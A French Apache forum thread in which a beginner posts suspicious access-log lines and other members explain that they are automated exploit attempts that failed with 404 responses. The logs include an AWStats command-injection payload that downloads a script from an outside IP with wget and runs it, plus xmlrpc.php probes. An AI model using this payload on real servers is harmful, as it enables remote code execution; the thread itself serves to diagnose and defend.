logs access étranges

Parlez ici des outils utilisables conjointement à Apache (analyseurs de logs... etc).

Modérateur : Modérateurs

Avatar de l’utilisateur
lableue
Nouveau membre
Messages : 2
Inscription : lun. 23 janv. 2006, 8:54

Messagepar lableue » lun. 23 janv. 2006, 9:17

Bonjour je suis une grande débutante j'ai mis apache via easyphp pour héberger des petites pages familliale mais surtout pour apprendre tout était ok depuis une petit semaine acces aux pages par un fichier htaccess donc je vois ma petite famille se connecter puis depuis 2 jours des choses comme cela ( avant pous les consultations de pages s'était écrit Get....
Suis je vistime d'un pirate ou seulement de robot, je ne suis bien entendu pas certaine d'avoir bien configuré les fichier httpd.conf .Mais faut bien débuter
Merci de votre aide
195.250.24.66 - - [22/Jan/2006:17:35:50 +0100] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e232%2e227%2e224%2fscript%3bchmod%20%2bx%20script%3b%2e%2fscript;echo%20YYY;echo| HTTP/1.1" 404 331
195.250.24.66 - - [22/Jan/2006:17:35:51 +0100] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e232%2e227%2e224%2fscript%3bchmod%20%2bx%20script%3b%2e%2fscript;echo%20YYY;echo| HTTP/1.1" 404 339
195.250.24.66 - - [22/Jan/2006:17:35:54 +0100] "POST /xmlrpc.php HTTP/1.1" 404 323
195.250.24.66 - - [22/Jan/2006:17:35:55 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 328
195.250.24.66 - - [22/Jan/2006:17:35:56 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 335
195.250.24.66 - - [22/Jan/2006:17:35:57 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 336
195.250.24.66 - - [22/Jan/2006:17:35:58 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 330
195.250.24.66 - - [22/Jan/2006:17:35:59 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 336
195.250.24.66 - - [22/Jan/2006:17:36:00 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 333
195.250.24.66 - - [22/Jan/2006:17:36:01 +0100] "POST /xmlrpc.php HTTP/1.1" 404 323
195.250.24.66 - - [22/Jan/2006:17:36:03 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 330
195.250.24.66 - - [22/Jan/2006:17:36:04 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 330 :(

Evolution
Conseiller
Conseiller
Messages : 3032
Inscription : lun. 05 janv. 2004, 18:56
Localisation : Lyon

Messagepar Evolution » lun. 23 janv. 2006, 9:24

ne pas laisser easyphp accessible depuis internet, SURTOUT si on débute

par exemple avec EasyPHP 1.8, ce bug est réglé.

Avatar de l’utilisateur
lableue
Nouveau membre
Messages : 2
Inscription : lun. 23 janv. 2006, 8:54

Messagepar lableue » lun. 23 janv. 2006, 9:42

Merci ,mais comment ma famille verra les page si je ne donne pas l'accès à apache,
c'est easy php 1.8 que j'ai installé
et cela veut dire qui alors ces logs?

Evolution
Conseiller
Conseiller
Messages : 3032
Inscription : lun. 05 janv. 2004, 18:56
Localisation : Lyon

Messagepar Evolution » lun. 23 janv. 2006, 18:08

utilisez un hébergeur pro.

Avatar de l’utilisateur
Gandalf
Sorcier des forums
Sorcier des forums
Messages : 2528
Inscription : jeu. 04 déc. 2003, 22:58

Messagepar Gandalf » jeu. 26 janv. 2006, 15:06

pour répondre à la question, ces logs sont des tentatives d'attaques pour exploiter des failles connues de certains logiciels...
tant que le code est 404, pas de souci, ca veut dire que ton serveur n'a pas été touché.
Celui qui détruit quelque chose pour savoir ce que c'est, a quitté le chemin de la sagesse.


Revenir vers « Outils liés à Apache »

Qui est en ligne ?

Utilisateurs parcourant ce forum : Google [Bot] et 1 invité